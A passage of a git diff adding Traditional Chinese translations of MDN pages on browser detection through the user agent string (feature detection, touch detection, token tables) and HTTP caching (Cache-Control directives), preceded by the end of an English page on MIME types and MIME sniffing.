with the correct MIME Type will be played in {{HTMLElement("video")}} or {{HTMLElement("audio")}} elements. Be sure to specify the correct <a href="/en-US/docs/Web/Media/Formats">media type for audio and video</a>.</p> + </li> + <li> + <p>Proprietary file types. Avoid using <code>application/octet-stream</code> as most browsers do not allow defining a default behavior (like "Open in Word") for this generic MIME type. A specific type like <code>application/vnd.mspowerpoint</code> lets users open such files automatically in the presentation software of their choice.</p> + </li> +</ul> + +<h2 id="MIME_sniffing">MIME sniffing</h2> + +<p>In the absence of a MIME type, or in certain cases where browsers believe they are incorrect, browsers may perform <em>MIME sniffing</em> — guessing the correct MIME type by looking at the bytes of the resource.</p> + +<p>Each browser performs MIME sniffing differently and under different circumstances. (For example, Safari will look at the file extension in the URL if the sent MIME type is unsuitable.) There are security concerns as some MIME types represent executable content. Servers can prevent MIME sniffing by sending the {{HTTPHeader("X-Content-Type-Options")}} header.</p> + +<h2 id="Other_methods_of_conveying_document_type">Other methods of conveying document type</h2> + +<p>MIME types are not the only way to convey document type information:</p> + +<ul> + <li>Filename suffixes are sometimes used, especially on Microsoft Windows. Not all operating systems consider these suffixes meaningful (such as Linux and MacOS), and there is no guarantee they are correct.</li> + <li>Magic numbers. The syntax of different formats allows file-type inference by looking at their byte structure. For example, GIF files start with the <code>47 49 46 38 39</code> hexadecimal value (<code>GIF89</code>), and PNG files with <code>89 50 4E 47</code> (<code>.PNG</code>). Not all file types have magic numbers, so this is not 100% reliable either.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li> + <li><a href="/en-US/docs/Web/Media/Formats">Guide to media types used on the web</a></li> + <li><a href="/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Properly configuring server MIME types</a></li> +</ul> diff --git a/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.html b/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.html new file mode 100644 index 0000000000..4fed2d0727 --- /dev/null +++ b/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.html @@ -0,0 +1,372 @@ +--- +title: 透過用戶代理偵測瀏覽器 +slug: Web/HTTP/Browser_detection_using_the_user_agent +translation_of: Web/HTTP/Browser_detection_using_the_user_agent +--- +<div>{{HTTPSidebar}}</div> + +<p>針對不同的瀏覽器給予不同的網頁或服務，通常不是好主意：網路的原意，是要讓所有人都能訪問，無論他們使用何種瀏覽器或何種設備。你的網站可以透過基於（瀏覽器）功能可用性的漸進增強法開發，而不是特別指定某種瀏覽器。</p> + +<p>不過瀏覽器與標準並不是完美的，有些特殊情況依舊需要偵測瀏覽器。透過用戶代理（user agent）去偵測瀏覽器看似簡單，要做好卻頗為困難。這份文件會盡可能引導你正確處理這種事。</p> + +<div class="note"> +<p>因為很重要所以再說一次：實行用戶代理嗅探（User Agent sniffing）通常不是好主意。問題通常都會有更好、更通用的解決方法！</p> +</div> + +<h2 id="使用瀏覽器偵測前應當考慮什麼">使用瀏覽器偵測前應當考慮什麼</h2> + +<p>在考慮透過用戶代理字串，去偵測使用瀏覽器時，首先要盡可能避免這種用法。先從認清<strong>為什麼</strong>要這麼做開始。</p> + +<dl> + <dt>你正針對某瀏覽器的特定錯誤奮戰著？</dt> + <dd>去專業論壇閱讀或提問：你不太可能是第一個碰上問題的人。另外，去找專家、或只是與你有不同觀點的人問問看，也會對你的除錯思路有所幫助。如果問題看來頗為罕見，你應該去檢查這個錯誤是不是透過缺陷跟蹤管理系統（bug tracking system：<a class="link-https" href="https://bugzilla.mozilla.org">Mozilla</a>、<a class="external" href="http://bugs.webkit.org">WebKit</a>、<a href="https://www.chromium.org/issue-tracking">Blink</a>、<a class="link-https" href="https://bugs.opera.com/">Opera</a>）報告到瀏覽器供應商。瀏覽器供應商很重視錯誤報告，相關分析也可能提示該錯誤的其他解決辦法。</dd> + <dt>你正試圖檢查某個特定功能是否存在？</dt> + <dd>你的網站需要用到某些瀏覽器不支援的功能，並給這些用戶功能更少，但你知道能正常顯示的網站。這類用戶代理嗅探的理由非常糟糕，因為大多數的瀏覽器，最終都有可能支援該功能。對所有瀏覽器都予以測試也不實際。<strong>絕對不要</strong>用戶代理嗅探、功能偵測是<strong>永遠</strong>的替代方案。</dd> + <dt>你希望給不同的瀏覽器不同的 HTML？</dt> + <dd>這種作法通常不太好，不過有時候卻是必要的。在此種情況下，你首先要分析是否真該這麼做。你能藉由加入某些無語意的 {{ HTMLElement("div") }} 或 {{ HTMLElement("span") }} 元素避免嗎？與難以完成的用戶代理偵測比起來，HTML 整潔性的稍稍降低變得相當值得。另外，請重新構思你的設計：你能藉由漸進增強或是流動排版（fluid layouts）來消除用戶代理偵測的需求嗎？</dd> +</dl> + +<h2 id="避免用戶代理偵測">避免用戶代理偵測</h2> + +<p>如果要避免用戶代理偵測，有以下選項！</p> + +<dl> + <dt>功能偵測</dt> + <dd>功能偵測使你無須弄清是哪種瀏覽器在渲染你的網頁，只須檢查需要的具體功能是否能用。如果不能用，就採取備用方案。在極少數的情況下，各瀏覽器行為有所不同。面對這種情況，不要偵測用戶代理，而是用實作測試來檢查瀏覽器 API、並搞清楚用法。最近有個好例子：<a href="https://www.chromestatus.com/feature/5668726032564224">Chrome 針對正規表達式，添加了實驗性的 lookbehind 支援</a>，但其他瀏覽器並不支援。你可能以為要這麼用：</dd> + <dd> + <pre class="brush: js notranslate">// 這個程式以特殊表示法把字串分開來 + +if (navigator.userAgent.indexOf("Chrome") !== -1){ + // 好，這用戶應該是支援 look-behind regexps + // 不要在不支援該功能的瀏覽器使用 /(?<=[A-Z])/ + // 因為瀏覽器都會解析整個腳本，包括從未執行過的代碼部分。 + // 進而讓不支援該功能的瀏覽器拋出語法錯誤。 + var camelCaseExpression = new RegExp("(?<=[A-Z])"); + var splitUpString = function(str) { + return (""+str).split(camelCaseExpression); + }; +} else { + /* 這個語法的性能差得多，但能動 */ + var splitUpString = function(str){ + return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g); + }; +} +console.log(splitUpString("fooBare")); // ["fooB", "are"] +console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]</pre> + + <p>但這程式其實很糟糕、考慮也很不周到。如果 Chrome 把 lookbehind 這功能移走呢？如果其他瀏覽器支援了 lookbehind 正規表達式呢？如果其他瀏覽器在用戶代理名字內，混入了 <em>Chrome</em> 呢？這個列表會因此，讓可怕的錯誤不斷發生。因此，你應該用以下的功能檢測：</p> + + <pre class="brush: js notranslate">var isLookBehindSupported = false; +try { + isLookBehindSupported = !!new RegExp("(?<=)"); +} catch(e){ + // 不支援的瀏覽器會出現 lookbehind expressions err +} +var splitUpString = isLookBehindSupported ? function(str) { + return (""+str).split(new RegExp("(?<=[A-Z])")); +} : function(str) { + return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g); +}; +</pre> + + <p>這程式<strong>一定</strong>會讓瀏覽器在不嗅探用戶代理的情況下測試功能。要作類似這樣的事情，<strong>完全沒有</strong>動用用戶代理嗅探的理由。</p> + + <p>最後，上面的程式碼還附帶一個必須考量的，有關跨瀏覽器的關鍵問題：不要在不支援的瀏覽器，使用到要測試的API。這聽來簡單，但有時候不是這樣：同樣以上面為例，在簡寫正規表達式使用 lookbehind（如 <code>/reg/igm</code>）會讓不支援該功能瀏覽器的解析器出錯。因此，你需要使用 <em>new RegExp("(?<=look_behind_stuff)");</em> 而非 <em>/(?<=look_behind_stuff)/</em>，哪怕 lookbehind 已經支援了。</p> + </dd> + <dt>漸進增強（Progressive Enhancement）</dt> + <dd>此設計技術與網站開發的「層次」有關：它運用下而上的途徑、從簡單的層次開始，透過一連串的層次，漸漸增強網站的能力。</dd> + <dt>優雅降級（Graceful degradation）</dt> + <dd>這種由上而下的途徑，是先在建造網站時，就用上所有需要的功能，再調整到令舊版瀏覽器也能執行。這種途徑與漸進增強相比，難度更高、效率也更糟，不過在某些情況下也可能更管用。</dd> + <dt>行動設備偵測（Mobile Device Detection）</dt> + <dd> + <p>檢查是否透過行動設備上網，大概是用戶代理嗅探最常見的用途與誤用。偵測後要作什麼事，卻往往是被忽略的問題所在。開發者通常透過用戶代理嗅探，將用戶設備導向至易於觸碰的小螢幕，以便加強網站體驗。</p> + + <p>用戶代理這方面有時有用，但問題是所有設備不完全相同：有些行動設備的尺寸很大、有些桌機有一小塊觸控螢幕、有些人使用完全是不同世界的智慧型電視、甚至還有藉由翻轉平板、來動態改變設備長寬的人！</p> + + <p>因此，用戶代理嗅探絕不是好辦法。但是，還有更好的選擇：例如使用 <a href="/zh-TW/docs/Web/API/Navigator/maxTouchPoints">Navigator.maxTouchPoints</a> 來檢查用戶設備有沒有觸控螢幕；接著在 <em>if (!("maxTouchPoints" in Navigator)) { /*程式寫在這*/}</em> 時，就切回用戶代理檢查。利用這個訊息，來檢查設備有沒有觸控螢幕。</p> + + <p>不要為了觸控設備，就換掉整個排版。這只會讓自己更費工、維護更頭痛；而是加點讓觸摸更便利的東西：像是好按的按鈕（這可以透過在 CSS 增加字體大小完成）。以下是針對 #exampleButton 在手機環境時，增加 1em 的程式範例：</p> + </dd> + <dd> + <pre class="brush: js notranslate">var hasTouchScreen = false; +if ("maxTouchPoints" in navigator) { + hasTouchScreen = navigator.maxTouchPoints > 0; +} else if ("msMaxTouchPoints" in navigator) { + hasTouchScreen = navigator.msMaxTouchPoints > 0; +} else { + var mQ = window.matchMedia && matchMedia("(pointer:coarse)"); + if (mQ && mQ.media === "(pointer:coarse)") { + hasTouchScreen = !!mQ.matches; + } else if ('orientation' in window) { + hasTouchScreen = true; // depedicated, but good fallback + } else { + // Only as a last resort, fall back to user agent sniffing + var UA = navigator.userAgent; + hasTouchScreen = ( + /\b(BlackBerry|webOS|iPhone|IEMobile)\b/i.test(UA) || + /\b(Android|Windows Phone|iPad|iPod)\b/i.test(UA) + ); + } +} +if (hasTouchScreen) + document.getElementById("exampleButton").style.padding="1em";</pre> + </dd> + <dd> + <p>針對螢幕尺寸，則使用 <em>window.innerWidth</em> 與 <em>window.addEventListener("resize", function(){ /*更新螢幕尺寸依賴的東西*/ })</em>。</p> + + <p>不要刪減小螢幕能看到的資訊，這只會激怒被逼著切到桌面版的用戶們；而是應該針對小螢幕，提供行列更少，但頁面更長的資訊；針對大螢幕，則提供行列更多，但頁面更短的資訊。這種效果能透過 <a href="/zh-TW/docs/Learn/CSS/CSS_layout/Flexbox">flexboxes</a> 實現。如果需要有限支援舊版本，請使用<a href="/zh-TW/docs/Learn/CSS/CSS_layout/Floats">floats</a> 屬性。</p> + </dd> + <dd> + <p>另外，試著把不相關或不重要的資訊放到下面、然後把資料放得有意義。然後雖然有點離題，但下面的詳細示例，可能會給你有力的見解和想法，放棄用戶代理嗅探。</p> + + <p>我們先想像一個由各種貓貓或狗狗的訊息框，所組成的頁面；每個訊息框都有圖片、概覽、還有歷史趣聞；而圖片即使在大螢幕上，也要保持最大的合理尺寸。為了讓內容有意義的排列在一起，所有的貓貓訊息框都和狗狗訊息框分開、兩種動物都不會混在一起。在大螢幕上，會節省具有多列的空間，從而減少了圖片左右兩側的間距。訊息框則會透過平分而被拆分為多列。</p> + + <p>現在我們能假設在原始碼裡面，狗狗訊息框都在上面、而貓貓訊息框都在下面。而這兩個框框都在同一個父元素之下。很明顯，有一個狗狗訊息框，就在貓貓訊息框的上面。第一個方法，就是使用水平的 <a href="/zh-TW/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> 把內容組合起來。這樣，當頁面顯示給最終用戶時，狗狗訊息框就在頁面上方、而貓貓訊息框就在頁面下方；第二個方法，就是使用 <a href="/zh-TW/docs/Web/CSS/Layout_cookbook/Column_layouts">Column</a> layout and resent 把所有的狗狗與貓貓排到右邊。在這種情況下，就能給沒有 flexboxes/multicolumns 的老舊版本提供適當的呈現：他們會呈現一列非常寬的框。</p> + + <p>再考慮一下這個例子：如果有人是想來看貓貓的，那我們就可以在原始碼裡面，把貓貓放到狗狗的上面。這樣一來，更多的人就可以在更小的螢幕上（內容折疊成一列）更快找到需要的內容。</p> + </dd> + <dd> + <p>接著，確保程式是動態性的。用戶可以翻轉手機，以改變頁面長寬；或是未來使用某些類似功能的怪設備。不要為了用戶翻轉行為焦頭額爛、在使用開發工具確實檢查前也不要自滿。實踐的最佳辦法，就是在一個函式內透過螢幕尺寸，把所有可移動內容的程式分開。而分開這些程式的觸發點，則放在頁面載入、或觸動 <a href="/zh-TW/docs/Web/API/Window/resize_event">resize</a> 事件時。如果載入新佈局頁面前，需要在函式內計算很多東西，請考慮對事件偵聽器使用 debouncing 以避免過度呼叫。</p> + + <p>另請注意，<code>(max-width: 25em)</code>, <code>not all and (min-width: 25em)</code>, and <code>(max-width: 24.99em)</code>是不一樣的：<code>(max-width: 25em)</code> 會排除 <code>(max-width: 25em)</code>；而 <code>not all and (min-width: 25em)</code> 則包含了 <code>(max-width: 25em)</code>。<code>(max-width: 24.99em)</code> 是仆街版的 <code>not all and (min-width: 25em)</code>。不要用 <code>(max-width: 24.99em)</code>，因為在字型很大、或解析度很高時，版面<em>可能</em>會跑掉。謹慎選擇正確的 media query、以及在 Javascript 正確使用 >=, <=, >, < 等運算符。因為 Javascript 可能把這些東西都混為一談，然後你的網站就會在某些尺寸下亂閃亂排。因此，徹底測試在不同寬高下，網站會怎麼改變，以確保佈局不出錯。</p> + </dd> +</dl> + +<h2 id="把用戶代理嗅探搞到最好">把用戶代理嗅探搞到最好</h2> + +<p>在探討所有能替代用戶代理嗅探的方法後，還是可能會有合理的理由，用到用戶代理嗅探。</p> + +<p>其中一個例子，就是透過用戶代理嗅探，提供觸控螢幕的支援。詳請參閱上面的「行動設備偵測」章節。另一個例子，則是修復在沒有自動更新功能的瀏覽器上，所發生的錯誤。Windows 的 Internet Explorer 與 iOS 的 Webkit 就是個好實例。</p> + +<p>Internet Explorer 在第九代以前，有著各種難以置信的問題。問題涵蓋了渲染、CSS、API 等方方面面。不過 IE9 之前的版本，是個相當<s>機車</s>特殊的例外。我們可以輕易透過該瀏覽器的特定功能，檢測到相關訊息。</p> + +<p>蘋果強迫所有瀏覽器使用 Webkit 核心，所以 Webkit 的情形更糟糕；用戶也無法在舊設備上，得到更新的瀏覽器。大多數錯誤都能找出來，但某些錯誤，需要花更多時間抓出來。在這種情況下，使用用戶代理嗅探來可能是更有益的。</p> + +<pre class="brush: js notranslate">var UA=navigator.userAgent, isWebkit=/\b(iPad|iPhone|iPod)\b/.test(UA) && + /WebKit/.test(UA) && !/Edge/.test(UA) && !window.MSStream; + +var mediaQueryUpdated = true, mqL = []; +function whenMediaChanges(){mediaQueryUpdated = true} + +var listenToMediaQuery = isWebkit ? function(mQ, f) { + if(/height|width/.test(mQ.media)) mqL.push([mQ, f]); + mQ.addListener(f), mQ.addListener(whenMediaChanges); +} : function(){}; +var destroyMediaQuery = isWebkit ? function(mQ) { + for (var i=0,len=mqL.length|0; i<len; i=i+1|0) + if (mqL[i][0] === mQ) mqL.splice(i, 1); + mQ.removeListener(whenMediaChanges); +} : listenToMediaQuery; + +var orientationChanged = false; +addEventListener("orientationchange", function(){ + orientationChanged = true; +}, PASSIVE_LISTENER_OPTION); + +addEventListener("resize", setTimeout.bind(0,function(){ + if (orientationChanged && !mediaQueryUpdated) + for (var i=0,len=mqL.length|0; i<len; i=i+1|0) + mqL[i][1]( mqL[i][0] ); + mediaQueryUpdated = orientationChanged = false; +},0));</pre> + +<h2 id="你想找到用戶代理的哪個資訊">你想找到用戶代理的哪個資訊</h2> + +<p>因為用戶代理字串的差異處並沒有統一，這方面會頗為棘手。</p> + +<h3 id="瀏覽器名稱">瀏覽器名稱</h3> + +<p>當別人說要「偵測瀏覽器」的時候，他們通常要的是「偵測排版引擎」：你真的要偵測到用戶在使用 Firefox 抑或相對應的 SeaMonkey，或偵測到在使用 Chrome 抑或相對應的 Chromium 嗎？還是說只要偵測瀏覽器用的是 Gecko 或是 WebKit 排版引擎？如果你要的是後者，請直接看後面的章節。</p> + +<p>雖然有 Internet Explorer 這個明顯的例外，多數瀏覽器通常會把瀏覽器名字與版本用成 <em>BrowserName/VersionNumber</em>（<em>瀏覽器名/版本名</em>）格式。然而，因為用戶代理不是只有瀏覽器名提供這種格式，你不能找到瀏覽器的名字，你只能檢查該名字是否為你要尋找的目標。也請注意瀏覽器還會「造假」：例如 Chrome 就會同時宣稱自己是 Chrome 與 Safari。因此，如果要找出 Safari 瀏覽器，你就要在找出 Safari 字串的同時，排除掉 Chrome 字串。此外，Chromium 也常常宣稱自己是 Chrome、而 Seamonkey 有時也會宣稱自己是 Firefox。</p> + +<p>另請注意，不要針對 BrowserName 使用簡單的正規表達式，因為用戶代理可能有不是 Keyword/Value 的字串。例如 Safari 與 Chrome 在字串內就包含了 like Gecko（類似 Gecko）。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"></th> + <th scope="col">必定包含</th> + <th scope="col">必定不包含</th> + <th scope="col">註解</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox</td> + <td>Firefox/xyz</td> + <td>Seamonkey/xyz</td> + <td></td> + </tr> + <tr> + <td>Seamonkey</td> + <td>Seamonkey/xyz</td> + <td></td> + <td></td> + </tr> + <tr> + <td>Chrome</td> + <td>Chrome/xyz</td> + <td>Chromium/xyz</td> + <td></td> + </tr> + <tr> + <td>Chromium</td> + <td>Chromium/xyz</td> + <td></td> + <td></td> + </tr> + <tr> + <td>Safari</td> + <td>Safari/xyz</td> + <td>Chrome/xyz or Chromium/xyz</td> + <td>Safari 給出了兩個版本號、一個是偏技術性的 Safari/xyz token，另一個則是偏向用戶友好的 Version/xyz token</td> + </tr> + <tr> + <td>Opera</td> + <td> + <p>OPR/xyz <sup>[1]</sup></p> + + <p>Opera/xyz <sup>[2]</sup></p> + </td> + <td></td> + <td> + <p><sup>[1]</sup> Opera 15+ (Blink-based engine)</p> + + <p><sup>[2]</sup> Opera 12- (Presto-based engine)</p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>; MSIE xyz;</td> + <td></td> + <td>Internet Explorer 並不使用 <em>BrowserName/VersionNumber</em> 格式</td> + </tr> + </tbody> +</table> + +<p>當然這裡不保證沒有其他瀏覽器，騎劫其他瀏覽器的可能，例如過去的 Chrome 就騎劫過 Safari。這也是為什麼透過用戶代理字串來探測瀏覽器是靠不住的，它也只能用在探測版本號（不太可能有騎劫過去版本號的情形）。</p> + +<h3 id="瀏覽器版本">瀏覽器版本</h3> + +<p>瀏覽器版本通常，但不是每次，都把數值放在用戶代理字串的 <em>BrowserName/VersionNumber</em> token。把版本號放在 MSIE 之後的 Internet Explorer、還有加了 Version/<em>VersionNumber</em> token 的第十代以後 Opera 版本就是明顯的例子。</p> + +<p>再次強調，因為無法確保尋找的瀏覽器會包含有效的數字，請確認你針對的瀏覽器，選取了正確的 token。</p> + +<h3 id="排版引擎">排版引擎</h3> + +<p>如同前述，多數情況下，找尋排版引擎（rendering engine）更為恰當。這能讓少有人知的瀏覽器，不致遭到排除在外。使用某一種排版引擎的瀏覽器，共享相同的網頁瀏覽：這種「一處有效、處處有效」的假設，是很公平的。</p> + +<p>目前有五大主流的排版引擎：Trident, Gecko, Presto, Blink 與 WebKit。因為排版引擎嗅探頗為常見，許多用戶代理也會加入其他的排版引擎，以觸發探測。所以在偵測排版引擎的時候，當心別錯誤觸發。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"></th> + <th scope="col">絕對有</th> + <th scope="col"></th> + </tr> + </thead> + <tbody> + <tr> + <td>Gecko</td> + <td>Gecko/xyz</td> + <td></td> + </tr> + <tr> + <td>WebKit</td> + <td>AppleWebKit/xyz</td> + <td>請注意 WebKit 瀏覽器會加上「like Gecko」字串。如果探測不加留意，就會錯誤觸發針對 Gecko 的情形。</td> + </tr> + <tr> + <td>Presto</td> + <td>Opera/xyz</td> + <td><strong>注意：</strong>Presto 在 Opera15 以後不再使用（請參見 Blink）</td> + </tr> + <tr> + <td>Trident</td> + <td>Trident/xyz</td> + <td>Internet Explorer 把這個 token 放在 User Agent String 的 <em>comment</em>（註解）部份</td> + </tr> + <tr> + <td>EdgeHTML</td> + <td>Edge/xyz</td> + <td>The non-Chromium Edge puts its engine version after the <em>Edge/</em> token, not the application version.<br> + <strong>Note:</strong> EdgeHTML is no longer used in Edge browser builds >= version 79 (see 'Blink').</td> + </tr> + <tr> + <td>Blink</td> + <td>Chrome/xyz</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="排版引擎版本">排版引擎版本</h2> + +<p>除了 Gecko 這個著名的例外，多數排版引擎版本的 token 通常會是 <em>RenderingEngine/VersionNumber</em>（排版引擎/版本號）。Gecko 把版本號放在用戶代理內，位於 <code>rv:</code> 字串後的註解部份。但在 Gecko 14（攜帶版）或 Gecko 17（桌面版）以後，版本號也出現在 Gecko/version token 裡面（之前的版本則是寫建置日期、固定的日期則呼叫 GeckoTrail）。</p> + +<h2 id="作業系統">作業系統</h2> + +<p>大多數的用戶代理都會表明自己固定字符串在個作業系統上運行（儘管如 Firefox OS 這種以網路為中心的平台並沒有這樣做），不過格式的差異卻頗大。它是個固定字串，位於用戶代理註解部份的兩個分號間。對每個瀏覽器而言。這些字串是特定的。這些字串給出了作業系統、通常也給出他們的版本以及在哪個設備上運作（32位元或64位元、抑或 Mac 的 Intel/PPC）。</p> + +<p>如同其他個案，這些字串可能在未來會有所變動，只應該用於檢測已經出現的瀏覽器。在瀏覽器的新版本出現後，也要進行技術研究，以確保程式能夠適應。</p> + +<h3 id="手機、平板、桌機">手機、平板、桌機</h3> + +<p>最常實行用戶代理嗅探的理由，是判別瀏覽器是在哪個設備執行。這麼做的目的是提供不同類型的 HTML 內容給不同類型的上網設備。</p> + +<ul> + <li>絕對不要假設某個瀏覽器或排版引擎，只在某種類型的設備執行。更不要對不同的瀏覽器或排版引擎，給予不同的預設值。</li> + <li>也絕對不要用 OS token 來定義該瀏覽器在手機、平板、抑或桌機上執行。作業系統可能在不只一種設備運作。例如，Android 可以在手機、也可以在平板上運作。</li> +</ul> + +<p>以下表格概括了主要的瀏覽器製造者，如何表明它們的瀏覽器在手機上運作：</p> + +<table> + <caption>主要瀏覽器的用戶代理字串</caption> + <thead> + <tr> + <th scope="col">瀏覽器</th> + <th scope="col">規則</th> + <th scope="col">示例</th> + </tr> + </thead> + <tbody> + <tr> + <td>Mozilla (Gecko, Firefox)</td> + <td>註解內的 <a href="/zh-TW/docs/Gecko_user_agent_string_reference"><strong>Mobile</strong> 或 <strong>Tablet</strong> token</a></td> + <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0</td> + </tr> + <tr> + <td>WebKit-based (Android, Safari)</td> + <td>註解外的 <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3"><strong>Mobile Safari</strong> token</a></td> + <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td> + </tr> + <tr> + <td>Blink-based (Chromium, Google Chrome, Opera 15+)</td> + <td>註解外的 <a href="https://developers.google.com/chrome/mobile/docs/user-agent"><strong>Mobile Safari</strong> token</a></td> + <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td> + </tr> + <tr> + <td>Presto-based (Opera 12-)</td> + <td> + <p>註解內的 <a href="http://my.opera.com/community/openweb/idopera/"><strong>Opera Mobi/xyz</strong> token</a> (Opera 12-)</p> + </td> + <td> + <p>Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>註解內的 <strong>IEMobile/xyz</strong></td> + <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td> + </tr> + </tbody> +</table> + +<p>總之，我們建議藉著找出用戶代理的「Mobi」字串，來偵測行動設備。</p> + +<div class="note"> +<p>如果設備尺寸夠大的話，它就不會標示「Mobi」。針對這種情形，你應該提供桌面版網站。另外，因為最近桌面設備的觸控螢幕越來越多，為了提供最佳習慣，網站應該支援觸控輸入。</p> +</div> diff --git a/files/zh-tw/web/http/caching/index.html b/files/zh-tw/web/http/caching/index.html new file mode 100644 index 0000000000..a9b7cd7ecc --- /dev/null +++ b/files/zh-tw/web/http/caching/index.html @@ -0,0 +1,154 @@ +--- +title: HTTP caching +slug: Web/HTTP/Caching +translation_of: Web/HTTP/Caching +--- +<div>{{HTTPSidebar}}</div> + +<div>藉由重複使用先前取過的資源，網站與網頁應用程式能夠顯著地提升效能。</div> + +<div>caching可以減少網路傳輸量以降低一個資源可展示的延遲時間。</div> + +<div>善用 HTTP caching可以讓網站可以回應更多請求。</div> + +<h2 id="不同種類的快取">不同種類的快取</h2> + +<p>快取是一種儲存伺服器回復的訊息且用此存檔回覆給請求者的技術。當快取伺服器有存者一份請求檔案的回覆，快取伺服器會攔截此請求訊息，回覆給請求者存在快取上的檔案，而不是從請求者請求的網頁伺服器去請求原始檔案。這樣的運作機制能達成下列幾個目的:讓網頁伺服器不用處理每個從客戶端發出的請求，減輕機器運作的負擔。且由於傳輸起點距離更接近請求端，能讓整體請求的過程效能更加，整體請求需要更少的時間傳送資源。對一個要達成高效能的網站來講，快取一個很重要的一塊。另一方面來講，快取的請求、回復、儲存機制必須設定好，別讓存在快取伺服器的檔案都是同一個:重要的是當資源改變才去使用快取，而不是一直存放著。</p> + +<p>快取有好幾種，但他們可以分為兩大類:共用和私有的快取。共用的快取定義是指快取伺服器上存的回覆能給好幾個不同的請求者服務。而私有的快取就相對只會服務一個請求者。此頁面講到的快取大部分都是指代理伺服器和瀏覽器的快取，但是快取還有像是閘道器快取、CDN快取、反向代理伺服器快取 、負載平衡器快取，它們都是部屬在網頁伺服器那邊，讓網站和網頁應用程式更加穩定，效能更好，且有更好的擴增姓。</p> + +<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p> + +<h3 id="瀏覽器私有的快取">瀏覽器私有的快取</h3> + +<p>私有的快取只會服務一個使用者。你可能已經在設定瀏覽器的時候看過快取了。一個瀏覽器快取會存放所有透過HTTP協定下載的檔案。這類型的快取是為了方便使用者上下頁移動、存檔、或者檢視檔案原始碼等等，讓使用者不用再次向原始伺服器請求檔案。此機制同樣的增進線下瀏覽快取。</p> + +<h3 id="代理伺服器的共用快取">代理伺服器的共用快取</h3> + +<p>一個共用的快取伺服器，是指快取存放者能讓多位使用者請求的檔案副本。舉例來說，ISP或者你的公司內部網路可能會設置代理伺服器，用來服務每個使用者，讓一些較常用的檔案可以重複使用多次，減少網路交通的流量。</p> + +<h2 id="Targets_of_caching_operations">Targets of caching operations</h2> + +<p>HTTP caching is optional, but reusing a cached resource is usually desirable. However, common HTTP caches are typically limited to caching responses to {{HTTPMethod("GET")}} and may decline other methods. The primary cache key consists of the request method and target URI (oftentimes only the URI is used as only GET requests are caching targets). Common forms of caching entries are:</p> + +<ul> + <li>Successful results of a retrieval request: a {{HTTPStatus(200)}} (OK) response to a {{HTTPMethod("GET")}} request containing a resource like HTML documents, images or files.</li> + <li>Permanent redirects: a {{HTTPStatus(301)}} (Moved Permanently) response.</li> + <li>Error responses: a {{HTTPStatus(404)}} (Not Found) result page.</li> + <li>Incomplete results: a {{HTTPStatus(206)}} (Partial Content) response.</li> + <li>Responses other than {{HTTPMethod("GET")}} if something suitable for use as a cache key is defined.</li> +</ul> + +<p>A cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of content negotiation. For more details see the information about the {{HTTPHeader("Vary")}} header <a href="#Varying_responses">below</a>.</p> + +<h2 id="控制快取">控制快取</h2> + +<h3 id="Cache-control_檔頭"><code>Cache-control</code> 檔頭</h3> + +<p>{{HTTPHeader("Cache-Control")}} 是HTTP/1.1用來特別指令快取如何處理回覆和要求的通用檔頭欄位。使用此欄位和多種的指令，來定義你的快取機制。</p> + +<h4 id="不要存任何快取">不要存任何快取</h4> + +<p>快取不該存取任何的使用者請求或者伺服器的回覆。每個請求都是送到原始的伺服器去取得資源。</p> + +<pre>Cache-Control: no-store +</pre> + +<h4 id="快取需存取，但是要重新驗證">快取需存取，但是要重新驗證</h4> + +<p>快取伺服器在把已儲存的複製版本傳給請求者之前，先會送一個請求給網頁伺服器做驗證。</p> + +<pre>Cache-Control: no-cache</pre> + +<h4 id="私有或共用的快取">私有或共用的快取</h4> + +<p>共用(Public)這個指令指出此回覆訊息可以由任何快取給存取。這點可以變成很有用處，假如頁面有不容易快取成功的HTTP驗證的訊息或者回覆狀態碼，現在應該很容易被存取了。</p> + +<p>相對的，私有(Private)的指令指示快取只給一個使用者使用，且不能被共用的快取伺服器給儲存過。隱私視窗(無痕模式)的快取就可能是這樣子。</p> + +<pre>Cache-Control: private +Cache-Control: public +</pre> + +<h4 id="有效期限">有效期限</h4> + +<p>在這裡最重要的指令就是"<code>max-age=<seconds></code>" ，意思是指存放在快取伺服器上的資源有剩下多少時間被認定還是新鮮的。 跟{{HTTPHeader("Expires")}}不太一樣，這個檔頭欄位快取指的是請求此回覆的日期和時間。對於程式中不常更新的檔案，你可以積極地使用此機制。這些檔案包含了，圖檔、CSS、Javascripts檔案等等。</p> + +<p>想要了解更多的話，請參見下面的<a href="#Freshness">Freshness</a>。</p> + +<pre>Cache-Control: max-age=31536000</pre> + +<h4 